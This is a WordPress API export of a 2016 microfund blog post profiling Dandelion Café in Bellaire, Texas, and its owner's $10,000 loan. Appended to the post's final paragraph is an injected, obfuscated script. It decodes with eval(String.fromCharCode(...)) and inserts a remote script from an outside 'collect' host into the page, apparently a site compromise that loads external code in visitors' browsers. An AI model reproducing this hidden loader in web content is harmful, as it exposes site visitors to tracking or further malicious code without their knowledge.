{"id":796,"date":"2016-05-24T23:34:21","date_gmt":"2016-05-24T23:34:21","guid":{"rendered":"http:\/\/www.bayoumicrofund.org\/blog\/?p=796"},"modified":"2018-05-22T11:41:32","modified_gmt":"2018-05-22T16:41:32","slug":"client-spotlight-dandelion-cafe","status":"publish","type":"post","link":"https:\/\/www.bayoumicrofund.org\/blog\/client-spotlight-dandelion-cafe\/","title":{"rendered":"Client Spotlight: Dandelion Caf\u00e9"},"content":{"rendered":"<p><strong>Dandelion Caf\u00e9<\/strong><\/p>\n<p><strong>Loan amount:<\/strong> $10,000<\/p>\n<p><strong>Location:\u00a0<\/strong>5405 Bellaire Blvd. Bellaire,TX 77401<\/p>\n<p><strong>Website:\u00a0<\/strong><a href=\"http:\/\/dandelionhouston.com\/\">http:\/\/dandelionhouston.com\/<\/a><\/p>\n<p>Houston\u2019s abundance of small business resources makes it fertile soil for entrepreneurs, but as any\u00a0gardener would tell you, it\u2019s the hard work\u2014not the environment\u2014that truly helps something grow.<\/p>\n<p>Sarah Lieberman, the owner of Dandelion Caf\u00e9 in Bellaire, is a testament to this. While she is fortunate\u00a0to have found a central location in a thriving commerce center in Bellaire, the caf\u00e9 wouldn\u2019t have taken\u00a0root without her relentlessness effort and refusal to fail.<\/p>\n<p>The seed for the idea might have been planted in Sarah\u2019s as she grew up in her parents\u2019 restaurant in\u00a0Dover, Delaware and while she worked at coffee shop while studying Industrial Design. But, it wouldn\u2019t\u00a0be until 2014, after getting her hands dirty in the restaurant industry in Houston and working for\u00a0catering companies that she dug into the Dandelion Caf\u00e9 project.<\/p>\n<p>At first she faced some challenges\u2014A few major banks weren\u2019t ready to fund the concept\u2014but Sarah\u00a0had a resilience that kept her moving forward. Fortunately, it wasn\u2019t long before she approached the\u00a0Bayou Microfund and instantly sold us on the idea, securing a $10,000 loan.<\/p>\n<p>Sarah made the most out of the what was available to her: She found mentors in SCORE and at local\u00a0coffee distributors, secured free furniture from other cafes during their renovations, and negotiated\u00a0equipment prices to ensure she\u2019d come in under budget. Enthusiastic about Sarah\u2019s energy and\u00a0resourcefulness, Iberia Bank supplemented the Bayou Microfund loan a commercial loan to help\u00a0continue development.<\/p>\n<p>Now, the buildout for Dandelion Caf\u00e9 is underway and will be opening its doors later this summer. We\u00a0look forward to our first cup of coffee in her caf\u00e9, and hope that other Houston entrepreneurs follow\u00a0her example and bring more ideas to life.<\/p>\n<p>If you are interested in our mission\u2014as an entrepreneur, mentor, or a funding partner\u2014reach out to us at <a href=\"https:\/\/mail.google.com\/mail\/u\/0\/?view=cm&amp;fs=1&amp;to=bm@bayoumicrofund.org\">bm@bayoumicrofund.org<\/a> or call 832-680-0977, and together we can write the next success story.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dandelion Caf\u00e9 Loan amount: $10,000 Location:\u00a05405 Bellaire Blvd. Bellaire,TX 77401 Website:\u00a0http:\/\/dandelionhouston.com\/ Houston\u2019s abundance of small business resources makes it fertile soil for entrepreneurs, but as any\u00a0gardener would tell you, it\u2019s the hard work\u2014not the environment\u2014that truly helps something grow. Sarah Lieberman, the owner of Dandelion Caf\u00e9 in Bellaire, is a testament to this. While she &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/www.bayoumicrofund.org\/blog\/client-spotlight-dandelion-cafe\/\"> <span class=\"screen-reader-text\">Client Spotlight: Dandelion Caf\u00e9<\/span> Read More &raquo;<\/a><\/p>\n","protected":false},"author":2,"featured_media":1369,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","_links_to":"","_links_to_target":""},"categories":[11,39,38],"tags":[41,42,40,45,43,46,44],"_links":{"self":[{"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/posts\/796"}],"collection":[{"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/comments?post=796"}],"version-history":[{"count":1,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/posts\/796\/revisions"}],"predecessor-version":[{"id":1825,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/posts\/796\/revisions\/1825"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/media\/1369"}],"wp:attachment":[{"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/media?parent=796"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/categories?post=796"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bayoumicrofund.org\/blog\/wp-json\/wp\/v2\/tags?post=796"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}